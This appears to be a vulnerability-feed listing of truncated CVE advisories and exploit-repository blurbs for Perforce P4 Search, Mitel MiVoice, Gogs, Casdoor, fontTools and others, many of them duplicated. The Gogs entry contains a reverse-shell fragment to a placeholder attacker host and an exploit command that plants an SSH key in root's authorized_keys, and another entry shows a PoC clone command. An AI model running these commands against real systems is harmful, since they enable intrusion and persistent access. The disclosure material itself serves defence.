varlib-cve-2025-66034

Exploit de fontTools varLib CVE-2025-66034 Este repositorio no introduce una nueva vulnerabilidad. Este es un exploit de prueba de concepto para CVE-2025-66034 que afecta al pipeline de generación de fuentes variables varLib de fontTools. La vulnerabilidad permite a los atacantes controlar el...

CVE-2026-103511

Perforce P4 Search prior to 2026.4.2 does not validate file names supplied to its extension installation feature. An attacker with super-user or service-token privileges can write files with arbitrary content to the P4 Search installation directory...

CVE-2026-103507

Perforce P4 Search prior to 2026.4.2 does not restrict file paths written through its logging configuration interface. An attacker holding the service authentication token can write arbitrary files on the host, potentially leading to code execution as the P4 Search service account...

CVE-2026-103511

Prior to version 2026.4.2 , Perforce P4 Search is vulnerable to an arbitrary file-write flaw. The software fails to validate file names provided to its extension installation feature . An attacker possessing super-user or service-token privileges can exploit this to write files containing arbitra...

EUVD-2026-92311

Perforce P4 Search prior to 2026.4.2 does not validate file names supplied to its extension installation feature. An attacker with super-user or service-token privileges can write files with arbitrary content to the P4 Search installation directory...

CVE-2026-103511 Arbitrary file-write via extension installation in P4Search

Perforce P4 Search prior to 2026.4.2 does not validate file names supplied to its extension installation feature. An attacker with super-user or service-token privileges can write files with arbitrary content to the P4 Search installation directory...

CVE-2026-103511 Arbitrary file-write via extension installation in P4Search

Perforce P4 Search prior to 2026.4.2 does not validate file names supplied to its extension installation feature. An attacker with super-user or service-token privileges can write files with arbitrary content to the P4 Search installation directory...

CVE-2017-1000117

面向 VulApps 的 CVE-2017-1000117 PoC 仓库 Fork 自 joernchen/CVE-2017-1000117 git clone --recursive https://github.com/Jerry-zhuang/CVE-2017-1000117.git 会将 id 的输出写入 /var/www/html 下的 vul 文件。 在 VulApps 查看更多...

CVE-2026-103507 Arbitrary file-write via log configuration path in P4Search

Perforce P4 Search prior to 2026.4.2 does not restrict file paths written through its logging configuration interface. An attacker holding the service authentication token can write arbitrary files on the host, potentially leading to code execution as the P4 Search service account...

CVE-2026-103507 Arbitrary file-write via log configuration path in P4Search

Perforce P4 Search prior to 2026.4.2 does not restrict file paths written through its logging configuration interface. An attacker holding the service authentication token can write arbitrary files on the host, potentially leading to code execution as the P4 Search service account...

EUVD-2026-92299

Perforce P4 Search prior to 2026.4.2 does not restrict file paths written through its logging configuration interface. An attacker holding the service authentication token can write arbitrary files on the host, potentially leading to code execution as the P4 Search service account...

CVE-2026-103507

Perforce P4 Search versions prior to 2026.4.2 are vulnerable to an arbitrary file-write flaw because the software fails to restrict file paths through its logging configuration interface . An attacker possessing a service authentication token can write arbitrary files to the host, which may lead ...

CVE-2026-104805 Mitel MiVoice Office 400 Backup Restoration Arbitrary File Write Leading to Root Code Execution

DigitalCanion has discovered a vulnerability in the backup restoration functionality that allows an attacker with access to the configured backup repository to introduce arbitrary files into the system during restoration. The specific flaw exists within the backup restoration mechanism, which fai...

CVE-2026-104805

The Mitel MiVoice Office 400 system contains a vulnerability in its backup restoration functionality that allows for arbitrary file write . The flaw arises because the system fails to validate paths, file types, integrity, and authenticity of files within a TGZ archive before extraction, notably ...

CVE-2026-104805 Mitel MiVoice Office 400 Backup Restoration Arbitrary File Write Leading to Root Code Execution

DigitalCanion has discovered a vulnerability in the backup restoration functionality that allows an attacker with access to the configured backup repository to introduce arbitrary files into the system during restoration. The specific flaw exists within the backup restoration mechanism, which fai...

CVE-2025-8110

CVE-2025-8110 — Gogs & /dev/tcp/ATTACKER/4444 0&1"' 使用后清理漏洞利用仓库 python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \ --target-file /root/.ssh/authorizedkeys --content-file /.ssh/idrsa.pub --cleanup 工作原理 1. 认证 — 登录（或自助注册）并创建一个 API 令牌。 2. 创建仓库 — 通过 Web 界面初始化一个包含 README 的新仓库。 3. 推...

CVE-2026-36227

CVE-2026-36227: Easy Chat Server 3.1 用户名路径遍历概念验证 此仓库包含针对 CVE-2026-36227 的良性概念验证代码，该漏洞是 Easy Chat Server 3.1 用户注册处理中的路径遍历问题。 此仓库仅用于授权的安全研究和本地复现。请勿将其用于你不拥有或未经明确许可测试的系统。 概述 Easy Chat Server 3.1 通过 POST /registresult.htm 接受注册数据。UserName 参数在被应用程序使用前未经过充分净化。一个类似 ../../ecs-traversal-proof.txt...

CVE-2026-6815

CVE-2026-6815 PoC/Exploit：Casdoor 3.54.1 路径遍历与任意文件写入（已认证） 本仓库包含针对 CVE-2026-6815 的概念验证（PoC）利用代码，该漏洞是 Casdoor 中的一个任意文件写入与路径遍历漏洞。 该漏洞已在 3.54.1 版本中被 修复。 前提条件 攻击者必须通过管理员权限或同等权限的用户账户认证到 Casdoor 实例，且该账户具有创建和/或编辑存储提供商的权限。 影响 远程代码执行（RCE） ：通过写入敏感位置，如 .ssh/authorizedkeys、crontab 或 Web 根目录。 拒绝服务（DoS）...

CVE-2026-103511: External Control of File Name or Path

Perforce P4 Search prior to 2026.4.2 does not validate file names supplied to its extension installation feature. An attacker with super-user or service-token privileges can write files with arbitrary content to the P4 Search installation directory...

PT-2026-106247

Name of the Vulnerable Software and Affected Versions Docling versions 2.94.0 through 2.131.0 Description When users enable LatexBackendOptionstikz engine="tectonic", the system uses docling/backend/latex/engines/tectonic.py to compile TikZ bodies and document preambles without restricting TeX fi...